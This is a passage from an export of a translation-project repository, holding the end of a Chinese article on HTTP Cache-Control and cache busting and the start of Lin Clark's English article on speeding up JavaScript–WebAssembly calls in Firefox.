和存储、服务、重新验证新鲜度之间没有任何关系，但它会告诉中间代理不得对该资源进行任何更改或**转换**。\n\n中间代理更改响应的一个常见情况是电信提供商代表开发者**为**用户做优化：电信提供商可能会通过他们的堆栈代理图片请求，并且在他们移动网络传递给最终用户前做一些优化。\n\n这里的问题是开发人员开始失去对资源展现的控制，而电信服务商所做的图像优化可能过于激进甚至不可接受，或者可能我们已经将图像优化到了理想程度，任何进一步的优化都没必要。\n\n这里，我们是想要告诉中间商：不要转换我们的内容。\n\n```\nCache-Control: no-transform\n```\n\n`no-transform` 可以与其他任何报头搭配使用，且不依赖其他指令独立运行。\n\n当心：有的转换是很好的主意：CDN 为用户选择 Gzip 或 Brotli 编码，看是需要前者还是可以使用后者；图片转换服务自动转成 WebP 等。\n\n当心：如果你是通过 HTTPS 运行，中间件和代理无论如何都不能改变你的数据，因此 `no-transform` 也就没用了。\n\n## Cache Busting\n\n讲缓存而不讲缓存破坏（Cache Busting）是不负责任的。我总是建议甚至在考虑缓存策略之前就先要解决缓存破坏策略。反过来做就是自找麻烦了。\n\n缓存破坏解决这样的问题：“我只是告诉过浏览器在接下来的一年使用这个文件，但后来我改动了它，我不想让用户拿到新副本之前要等一整年！我该怎么做？！”\n\n### 无缓存破坏 —— `style.css`\n\n这是最不建议做的事情：完全没有任何缓存破坏。这是一个可变的文件，我们真的很难破坏缓存。\n\n缓存这样的文件你要非常谨慎，因为一旦在用户的设备上，我们就几乎失去了对他们的所有控制。\n\n尽管这个例子是一个样式表，HTML 页面也纯属这个阵营。我们不能更改一个网页的文件名，想象一下这破坏力！—— 这正是我们倾向于从不缓存它们的原因。\n\n### 查询字符串 —— `style.css?v=1.2.14`\n\n这里依然是一个可变的文件，但是我们在文件路径后加了个查询字符串。聊胜于无，但不尽完美。如果有什么东西把查询字符串删掉了，我们就完全回到了之前讲的没有缓存破坏的样子。很多代理服务器和 CDN 都不会缓存查询字符串，无论是通过配置（例如 Cloudflare 官方文档写到：“...从缓存服务请求时，‘style.css?something’将会被标准化成‘style.css’”）还是防御性忽略（查询字符串可能包含请求特定响应的信息）。\n\n### 指纹 —— `style.ae3f66.css`\n\n添加指纹是目前破坏文件缓存的首选方法。每次内容变更，文件名都会随之修改，严格地讲我们什么都不缓存：我们拿到的是一个全新的文件！这很稳健，并且允许你使用 `immutable`。如果你能在你的静态资源上实现这个，那就去干！一旦你成功实现了这种非常可靠的缓存破坏策略，你就可以使用最极致的缓存形式：\n\n```\nCache-Control: max-age=31536000, immutable\n```\n\n#### 实施细节\n\n这种方法的要点就是更改文件名，但它不**非得**是指纹。下面的例子都有同样的效果：\n\n1. `/assets/style.ae3f66.css`：通过文件内容的 hash 破坏。\n2. `/assets/style.1.2.14.css`：通过发行版本号破坏。\n3. `/assets/1.2.14/style.css`：改变 URL 中的目录。\n\n然而，最后一个示例**意味着**我们要对每个版本进行版本控制，而不是独立文件。这反过来意味着如果我们只想对我们的样式表做缓存破坏，我们也不得不破坏了这个版本的所有静态文件。这可能有点浪费，所以推荐选项（1）或（2）。\n\n### `Clear-Site-Data`\n\n缓存很难失效 —— [这是闻名于计算机科学界的难题](https://martinfowler.com/bliki/TwoHardThings.html) —— 于是有了[一个实现中的规范](https://www.w3.org/TR/clear-site-data/)，这可以帮助开发者明确地一次性清理网站域的全部缓存：`Clear-Site-Data`。\n\n本文我不想深入探究 `Clear-Site-Data`，毕竟它不是一种 `Cache-Control` 指令，事实上它是一个全新的 HTTP 报头。\n\n```\nClear-Site-Data: \"cache\"\n```\n\n给你的域下任何一个静态文件应用这个报头，就会清除整个域的缓存，而不仅是它附着的这个文件。也就是说，如果你需要给你整个网站的所有访客的缓存来个大扫除，你只需把上面这个报头加到你的 HTML 上即可。\n\n[浏览器支持方面](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data#Browser_compatibility)，截止到本文写作只支持 Chrome、Android Webview、Firefox 和 Opera。\n\n提示：`Clear-Site-Data` 可以接收很多指令：`\"cookies\"`、`\"storage\"`、`\"executionContexts\"` 和 `\"*\"`（显然，意思是“上述全部”）。\n\n## 栗子及其食用方法\n\nOkay，让我们看一些场景，以及我们可能使用的 `Cache-Control` 报头的类型。\n\n### 在线银行网页\n\n在线银行之类的应用页面罗列着你最近交易清单、当前余额和一些敏感的银行账户信息，它们都要求实时更新（想象一下，当你看到页面里罗列的账户余额还是一周前的你啥感觉！）而且要求严格保密（你肯定不想把你的银行账户详情存在共享缓存里（啥缓存都不好吧））。\n\n为此，我们这样做：\n\n```\nRequest URL: /account/\nCache-Control: no-store\n```\n\n根据规范，这足以防止浏览器在所有私有缓存和共享缓存中把响应持久化到磁盘中：\n\n> `no-store` 响应指令要求缓存中**不得**存储任何关于客户端请求和服务端响应的内容。该指令适用于私有缓存和共享缓存。上文中“**不得**存储”的意思是缓存**不得**故意将信息存储到非易失性存储器中，并且在接转后**必须**尽最大努力尽快从易失性存储器中删除信息。\n\n但如果你还不放心，也许你可以选择这样：\n\n```\nRequest URL: /account/\nCache-Control: private, no-cache, no-store\n```\n\n这将明确指示不得在公共缓存（例如 CDN）中存储任何信息、始终提供最新的副本并且不要持久化任何东西。\n\n### 实时列车时刻表页面\n\n如果我们打算做一个显示准实时信息的页面，我们要尽可能保证用户总是看到最准确的、最实时的信息，我们使用：\n\n```\nRequest URL: /live-updates/\nCache-Control: no-cache\n```\n\n这个简单的指令会让浏览器不直接未经服务器验证通过就从缓存显示响应。这意味着用户将绝不会看到过期的信息，而如果服务器上有最新信息与缓存中的相同，他们也会享受从缓存中抓取文件的好处。\n\n这几乎对所有网站来说都是一个明智的选择：尽可能给我们最新的内容，同时尽可能让我们享受缓存带来的访问速度。\n\n### FAQ 页面\n\n像 FAQ 这样的页面可能很少更新，而且其内容不太可能对时间敏感。它当然没有实时运动成绩或航班状态那么重要。我们可以将这样的 HTML 页面缓存一段时间，并强制浏览器定期检查新内容，而不用每次访问都检查。我们这样设置：\n\n```\nRequest URL: /faqs/\nCache-Control: max-age=604800, must-revalidate\n```\n\n这会允许浏览器缓存 HTML 页面一周时间（604,800 秒），一旦一周过去，我们需要向服务器检查更新。\n\n当心：给同一个网站的不同页面应用不同的缓存策略会造成一个问题，在你设置 `no-cache` 的首页会请求它引用的最新的 `style.f4fa2b.css`，而在你的加了三天缓存的 FAQ 页依然指向 `style.ae3f66.css`。这种情况可能影响不大，但不容忽视。\n\n### 静态 JS（或 CSS）App Bundle\n\n比方说们的 `app.[fingerprint].js`，更新非常频繁 —— 几乎每次发布版本都会更新 —— 而我们也投入了工作，在文件每次更改时对其添加指纹，然后这样使用：\n\n```\nRequest URL: /static/app.1be87a.js\nCache-Control: max-age=31536000, immutable\n```\n无所谓我们有多频繁的更新 JS：因为我们可以做到可靠的缓存破坏，我们想缓存多久就缓存多久。这个例子里我们设置成一年。之所以是一年首先是因为这已经很久了，而且浏览器无论如何也不可能把一个文件保存这么久（浏览器用于 HTTP 缓存的存储空间是限量的，他们会定期清空一部分；用户也可能自己清空缓存）。超过一年的配置大概率没什么用。\n\n进一步讲，因为这个文件内容永不改变，我们可以指示浏览器这个文件是不可变的。一整年内我们都无须重新验证它，哪怕用户刷新页面都不需要。这样我们不仅获得了使用缓存的速度优势，还避免了重新验证造成的延迟弊端。\n\n### 装饰性图片\n\n想象一个伴随文章的纯装饰性照片。它不是信息图表，也不含影响页面其他部分阅读的关键内容。甚至如果它完全不见了用户都关注不到。\n\n图片往往是要下载的重量级资源，所以我们想要缓存它；因为它在页面中没有那么关键，所以我们不需要下载最新版本；我们甚至可以在这张照片过时一点后继续使用。看看怎么做：\n\n```\nRequest URL: /content/masthead.jpg\nCache-Control: max-age=2419200, must-revalidate, stale-while-revalidate=86400\n```\n\n这里我们告诉浏览器缓存 28 天（2,419,200 秒），28 天期限过后我们想向服务器检查更新，如果图片没有超过一天（86,400 秒）的过期时间，那么我们就在后台请求到最新版本后再替换它。\n\n## 要牢记的要点\n\n- 缓存破坏极其极其极其重要。开始做缓存策略之前，先解决好缓存破坏策略。\n- 一般来说，缓存 HTML 内容是个馊主意。HTML URL 不能被破坏，毕竟 HTML 页往往是访问页面其他子资源的入口点，你会把通往静态文件的引用声明也缓存下来。这会让你（和你的用户）...一言难尽。\n- 缓存 HTML 时，如果一类页面从不缓存而其他类页面有时要用缓存，这种同站不同类型的 HTML 页的不同缓存策略会导致不一致性。\n- 如果你能够给你的静态资源可靠地做缓存破坏（使用指纹），那你最好一次性把所有的东西都缓存好几年，以求最优。\n- 非关键内容可以用 `stale-while-revalidate` 之类的指令给一个不新鲜宽限期。\n- `immutable` 和 `stale-while-revalidate` 不仅能带来缓存的传统效益，还让我们在重新验证时降低延迟成本。\n\n尽可能避免使用网络会为用户提供更快的体验（也会给我们的基础设施更低的吞吐量，两开花）。通过对资源的详细了解和可用内容的总览，我们可以开始针对我们的应用设计做一个颗粒化、定制化且有效的缓存策略。\n\n缓存在手，一切尽在掌控。\n\n## 参考文献和相关阅读\n\n- [*Caching best practices & max-age gotchas*](https://jakearchibald.com/2016/caching-best-practices/) —— [Jake Archibald](https://twitter.com/jaffathecake)，2016\n- [*Cache-Control: immutable*](http://bitsup.blogspot.com/2016/05/cache-control-immutable.html) —— [Patrick McManus](https://twitter.com/mcmanusducksong)，2016\n- [*Stale-While-Revalidate, Stale-If-Error Available Today*](https://www.fastly.com/blog/stale-while-revalidate-stale-if-error-available-today) —— [Steve Souders](https://twitter.com/Souders)，2014\n- [*A Tale of Four Caches*](https://calendar.perfplanet.com/2016/a-tale-of-four-caches/) —— [Yoav Weiss](https://twitter.com/yoavweiss)， 2016\n- [Clear-Site-Data](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data) —— MDN\n- [RFC 7234 -- HTTP/1.1 Caching](https://tools.ietf.org/html/rfc7234) —— 2014\n\n### 依吾言行事，勿观吾行仿之\n\n在某人因我的言行不类开喷之前，有必要一提的是我自己博客的缓存策略这么差强人意，以至于我自己都看不下去了。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/calls-between-javascript-and-webassembly-are-finally-fast.md",
    "content": "> * 原文地址：[Calls between JavaScript and WebAssembly are finally fast 🎉](https://hacks.mozilla.org/2018/10/calls-between-javascript-and-webassembly-are-finally-fast-%F0%9F%8E%89/)\n> * 原文作者：[Lin Clark](http://code-cartoons.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/calls-between-javascript-and-webassembly-are-finally-fast.md](https://github.com/xitu/gold-miner/blob/master/TODO1/calls-between-javascript-and-webassembly-are-finally-fast.md)\n> * 译者：\n> * 校对者：\n\n# Calls between JavaScript and WebAssembly are finally fast 🎉\n\nAt Mozilla, we want WebAssembly to be as fast as it can be.\n\nThis started with its design, which gives it [great throughput](https://hacks.mozilla.org/2017/02/what-makes-webassembly-fast). Then we improved load times with a [streaming baseline compiler](https://github.com/xitu/gold-miner/blob/master/making-webassembly-even-faster-firefoxs-new-streaming-and-tiering-compiler.md). With this, we compile code faster than it comes over the network.\n\nSo what’s next?\n\nOne of our big priorities is making it easy to combine JS and WebAssembly. But function calls between the two languages haven’t always been fast. In fact, they’ve had a reputation for being slow, as I talked about in my [first series on WebAssembly](https://hacks.mozilla.org/2017/02/where-is-webassembly-now-and-whats-next/).\n\nThat’s changing, [as you can see](https://bnjbvr.github.io/perf-wasm-calls/).\n\nThis means that in the latest version of Firefox Beta, calls between JS and WebAssembly are faster than non-inlined JS to JS function calls. Hooray! 🎉\n\n[![Performance chart showing time for 100 million calls. wasm-to-js before: about 750ms. wasm-to-js after: about 450ms. JS-to-wasm before: about 5500ms. JS-to-wasm after: about 450ms. monomorphic JS-to-wasm before: about 5250ms. monomorphic JS-to-wasm before: about 250ms. wasm-to-builtin before: about 6000ms. wasm-to-builtin before: about 650ms.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/01-02-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/01-02.png)\n\nSo these calls are fast in Firefox now. But, as always, I don’t just want to tell you that these calls are fast. I want to explain how we made them fast. So let’s look at how we improved each of the different kinds of calls in Firefox (and by how much).\n\nBut first, let’s look at how engines do these calls in the first place. (And if you already know how the engine handles function calls, you can skip to [the optimizations](#optimizations).)\n\n### How do function calls work?\n\nFunctions are a big part of JavaScript code. A function can do lots of things, such as:\n\n*   assign variables which are scoped to the function (called local variables)\n*   use functions that are built-in to the browser, like `Math.random`\n*   call other functions you’ve defined in your code\n*   return a value\n\n[![A function with 4 lines of code: assigning a local variable with let w = 8; calling a built-in function with Math.random(); calling a user-defined function named randGrid(); and returning a value.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-01-1-500x248.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-01-1.png)\n\nBut how does this actually work? How does writing this function make the machine do what you actually want?\n\nAs I explained in my [first WebAssembly article series](https://hacks.mozilla.org/2017/02/a-crash-course-in-just-in-time-jit-compilers/), the languages that programmers use — like JavaScript — are very different than the language the computer understands. To run the code, the JavaScript we download in the .js file needs to be translated to the machine language that the machine understands.\n\n[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-01-alien03-500x286.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-01-alien03.png)\n\nEach browser has a built-in translator. This translator is sometimes called the JavaScript engine or JS runtime. However, these engines now handle WebAssembly too, so that terminology can be confusing. In this article, I’ll just call it the engine.\n\nEach browser has its own engine:\n\n*   Chrome has V8\n*   Safari has JavaScriptCore (JSC)\n*   Edge has Chakra\n*   and in Firefox, we have SpiderMonkey\n\nEven though each engine is different, many of the general ideas apply to all of them.\n\nWhen the browser comes across some JavaScript code, it will fire up the engine to run that code. The engine needs to work its way through the code, going to all of the functions that need to be called until it gets to the end.\n\nI think of this like a character going on a quest in a videogame.\n\nLet’s say we want to play Conway’s Game of Life. The engine’s quest is to render the Game of Life board for us. But it turns out that it’s not so simple…\n\n[![Engine asking Sir Conway function to explain life. Sir Conway sends the engine to the Universum Neu function to get a Universe.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-02-500x218.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-02.png)\n\nSo the engine goes over to the next function. But the next function will send the engine on more quests by calling more functions.\n\n[![Engine going to Universum Neu to ask for a universe. Universum Neu sends the engine to Randgrid.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-03-500x218.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-03.png)\n\nThe engine keeps having to go on these nested quests until it gets to a function that just gives it a result.\n\n[![Rnadgrid giving the engine a grid.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-04-500x218.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-04.png)\n\nThen it can come back to each of the functions that it spoke to, in reverse order.\n\n[![The engine returning through all of the functions.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-05-500x218.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-05.png)\n\nIf the engine is going to do this correctly — if it’s going to give the right parameters to the right function and be able to make its way all the way back to the starting function — it needs to keep track of some information.\n\nIt does this using something called a stack frame (or a call frame). It’s basically like a sheet of paper that has the arguments to go into the function, says where the return value should go, and also keeps track of any of the local variables that the function creates.\n\n[![A stack frame, which is basically a form with lines for arguments, locals, a return value, and more.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-06-500x311.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-06.png)\n\nThe way it keeps track of all of these slips of paper is by putting them in a stack. The slip of paper for the function that it is currently working with is on top. When it finishes that quest, it throws out the slip of paper. Because it’s a stack, there’s a slip of paper underneath (which has now been revealed by throwing away the old one). That’s where we need to return to.\n\nThis stack of frames is called the call stack.\n\n[![a stack of stack frames, which is basically a pile of papers](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-07-500x230.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/02-07.png)\n\nThe engine builds up this call stack as it goes. As functions are called, frames are added to the stack. As functions return, frames are popped off of the stack. This keeps happening until we get all the way back down and have popped everything out of the stack.\n\nSo that’s the basics of how function calls work. Now, let’s look at what made function calls between JavaScript and WebAssembly slow, and talk about how we’ve made this faster in Firefox.\n\n### How we made WebAssembly function calls fast\n\nWith recent work in Firefox Nightly, we’ve optimized calls in both directions — both JavaScript to WebAssembly and WebAssembly to JavaScript. We’ve also made calls from WebAssembly to built-ins faster.\n\nAll of the optimizations that we’ve done are about making the engine’s work easier. The improvements fall into two groups:\n\n*   Reducing bookkeeping —which means getting rid of unnecessary work to organize stack frames\n*   Cutting out intermediaries — which means taking the most direct path between functions\n\nLet’s look at where each of these came into play.\n\n### Optimizing WebAssembly » JavaScript calls\n\nWhen the engine is going through your code, it has to deal with functions that are speaking two different kinds of language—even if your code is all written in JavaScript.\n\nSome of them—the ones that are running in the interpreter—have been turned into something called byte code. This is closer to machine code than JavaScript source code, but it isn’t quite machine code (and the interpreter does the work). This is pretty fast to run, but not as fast as it can possibly be.\n\nOther functions — those which are being called a lot — are turned into machine code directly by the [just-in-time compiler](https://hacks.mozilla.org/2017/02/a-crash-course-in-just-in-time-jit-compilers/) (JIT). When this happens, the code doesn’t run through the interpreter anymore.\n\nSo we have functions speaking two languages; byte code and machine code.\n\nI think of these different functions which speak these different languages as being on different continents in our videogame.\n\n[![A game map with two continents—One with a country called The Interpreter Kingdom, and the other with a country called JITland](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-01-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-01.png)\n\nThe engine needs to be able to go back and forth between these continents. But when it does this jump between the different continents, it needs to have some information, like the place it left from on the other continent (which it will need to go back to). The engine also wants to separate the frames that it needs.\n\nTo organize its work, the engine gets a folder and puts the information it needs for its trip in one pocket — for example, where it entered the continent from.\n\nIt will use the other pocket to store the stack frames. That pocket will expand as the engine accrues more and more stack frames on this continent.\n\n[![A folder with a map on the left side, and the stack of frames on the right.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-02-500x340.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-02.png)\n\n_Sidenote: if you’re looking through the code in SpiderMonkey, these “folders” are called activations._\n\nEach time it switches to a different continent, the engine will start a new folder. The only problem is that to start a folder, it has to go through C++. And going through C++ adds significant cost.\n\nThis is the trampolining that I talked about in my first series on WebAssembly.\n\n[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/06-02-trampoline01-500x399.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/06-02-trampoline01.png)\n\nEvery time you have to use one of these trampolines, you lose time.\n\nIn our continent metaphor, it would be like having to do a mandatory layover on Trampoline Point for every single trip between two continents.\n\n[![Same map as before, with a new Trampoline country on the same continent as The Interpreter Kingdom. An arrow goes from The Interpreter Kingdom, to Trampoline, to JITland.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-04-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-04.png)\n\nSo how did this make things slower when working with WebAssembly?\n\nWhen we first added WebAssembly support, we had a different type of folder for it. So even though JIT-ed JavaScript code and WebAssembly code were both compiled and speaking machine language, we treated them as if they were speaking different languages. We were treating them as if they were on separate continents.\n\n[![Same map with Wasmania island next to JITland. There is an arrow going from JITland to Trampoline to Wasmania. On Trampoline, the engine asks a shopkeeper for folders.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-05-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-05.png)\n\nThis was unnecessarily costly in two ways:\n\n*   it creates an unnecessary folder, with the setup and teardown costs that come from that\n*   it requires that trampolining through C++ (to create the folder and do other setup)\n\nWe fixed this by generalizing the code to use the same folder for both JIT-ed JavaScript and WebAssembly. It’s kind of like we pushed the two continents together, making it so you don’t need to leave the continent at all.\n\n[![SpiderMonkey engineer Benjamin Bouvier pushing Wasmania and JITland together](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-06-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-06.png)\n\nWith this, calls from WebAssembly to JS were almost as fast as JS to JS calls.\n\n[![Same perf graph as above with wasm-to-JS circled.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-03-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/03-03.png)\n\nWe still had a little work to do to speed up calls going the other way, though.\n\n### Optimizing JavaScript » WebAssembly calls\n\nEven in the case of JIT-ed JavaScript code, where JavaScript and WebAssembly are speaking the same language, they still use different customs.\n\nFor example, to handle dynamic types, JavaScript uses something called boxing.\n\nBecause JavaScript doesn’t have explicit types, types need to be figured out at runtime. The engine keeps track of the types of values by attaching a tag to the value.\n\nIt’s as if the JS engine put a box around this value. The box contains that tag indicating what type this value is. For example, the zero at the end would mean integer.\n\n[![Two binary numbers with a box around them, with a 0 label on the box.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/boxing-01-500x103.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/boxing-01.png)\n\nIn order to compute the sum of these two integers, the system needs to remove that box. It removes the box for a and then removes the box for b.\n\n[![Two lines, the first with boxed numbers from the last image. The second with unboxed numbers.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/boxing-02-500x150.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/boxing-02.png)\n\nThen it adds the unboxed values together.\n\n[![Three lines, with the third line being the two numbers added together](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/boxing-03-500x191.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/boxing-03.png)\n\nThen it needs to add that box back around the results so that the system knows the result’s type.\n\n[![Four lines, with the fourth line being the numbers added together with a box around it.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/boxing-04-500x258.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/boxing-04.png)\n\nThis turns what you expect to be 1 operation into 4 operations… so in cases where you don’t need to box (like statically typed languages) you don’t want to add this overhead.\n\nSidenote: JavaScript JITs can avoid these extra boxing/unboxing operations in many cases, but in the general case, like function calls, JS needs to fall back to boxing.\n\nThis is why WebAssembly expects parameters to be unboxed, and why it doesn’t box its return values. WebAssembly is statically typed, so it doesn’t need to add this overhead. WebAssembly also expects values to be passed in at a certain place — in registers rather than the stack that JavaScript usually uses.\n\nIf the engine takes a parameter that it got from JavaScript, wrapped inside of a box, and gives it to a WebAssembly function, the WebAssembly function wouldn’t know how to use it.\n\n[![Engine giving a wasm function boxed values, and the wasm function being confused.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/04-01-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/04-01.png)\n\nSo, before it gives the parameters to the WebAssembly function, the engine needs to unbox the values and put them in registers.\n\nTo do this, it would go through C++ again. So even though we didn’t need to trampoline through C++ to set up the activation, we still needed to do it to prepare the values (when going from JS to WebAssembly).\n\n[![The engine going to Trampoline to get the numbers unboxed before going to Wasmania](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/04-02-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/04-02.png)\n\nGoing to this intermediary is a huge cost, especially for something that’s not that complicated. So it would be better if we could cut the middleman out altogether.\n\nThat’s what we did. We took the code that C++ was running — the entry stub — and made it directly callable from JIT code. When the engine goes from JavaScript to WebAssembly, the entry stub un-boxes the values and places them in the right place. With this, we got rid of the C++ trampolining.\n\nI think of this as a cheat sheet. The engine uses it so that it doesn’t have to go to the C++. Instead, it can unbox the values when it’s right there, going between the calling JavaScript function and the WebAssembly callee.\n\n[![The engine looking at a cheat sheet for how to unbox values on its way from JITland to Wasmania.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/04-03-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/04-03.png)\n\nSo that makes calls from JavaScript to WebAssembly fast.\n\n[![Perf chart with JS to wasm circled.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/04-04-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/04-04.png)\n\nBut in some cases, we can make it even faster. In fact, we can make these calls even faster than JavaScript » JavaScript calls in many cases.\n\n### Even faster JavaScript » WebAssembly: Monomorphic calls\n\nWhen a JavaScript function calls another function, it doesn’t know what the other function expects. So it defaults to putting things in boxes.\n\nBut what about when the JS function knows that it is calling a particular function with the same types of arguments every single time? Then that calling function can know in advance how to package up the arguments in the way that the callee wants them.\n\n[![JS function not boxing values](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/05-01-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/05-01.png)\n\nThis is an instance of the general JS JIT optimization known as “type specialization”. When a function is specialized, it knows exactly what the function it is calling expects. This means it can prepare the arguments exactly how that other function wants them… which means that the engine doesn’t need that cheat sheet and spend extra work on unboxing.\n\nThis kind of call — where you call the same function every time — is called a monomorphic call. In JavaScript, for a call to be monomorphic, you need to call the function with the exact same types of arguments each time. But because WebAssembly functions have explicit types, calling code doesn’t need to worry about whether the types are exactly the same — they will be coerced on the way in.\n\nIf you can write your code so that JavaScript is always passing the same types to the same WebAssembly exported function, then your calls are going to be very fast. In fact, these calls are faster than many JavaScript to JavaScript calls.\n\n[![Perf chart with monomorphic JS to wasm circled](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/05-04-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/05-04.png)\n\n#### Future work\n\nThere’s only one case where an optimized call from JavaScript » WebAssembly is not faster than JavaScript » JavaScript. That is when JavaScript has in-lined a function.\n\nThe basic idea behind in-lining is that when you have a function that calls the same function over and over again, you can take an even bigger shortcut. Instead of having the engine go off to talk to that other function, the compiler can just copy that function into the calling function. This means that the engine doesn’t have to go anywhere — it can just stay in place and keep computing.\n\nI think of this as the callee function teaching its skills to the calling function.\n\n[![Wasm function teaching the JS function how to do what it does.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/05-03-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/05-03.png)\n\nThis is an optimization that JavaScript engines make when a function is being run a lot — when it’s “hot” — and when the function it’s calling is relatively small.\n\nWe can definitely add support for in-lining WebAssembly into JavaScript at some point in the future, and this is a reason why it’s nice to have both of these languages working in the same engine. This means that they can use the same JIT backend and the same compiler intermediate representation, so it’s possible for them to interoperate in a way that wouldn’t be possible if they were split across different engines.\n\n### Optimizing WebAssembly » Built-in function calls\n\nThere was one more kind of call that was slower than it needed to be: when WebAssembly functions were calling built-ins.\n\n[Built-ins](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects) are functions that the browser gives you, like `Math.random`. It’s easy to forget that these are just functions that are called like any other function.\n\nSometimes the built-ins are implemented in JavaScript 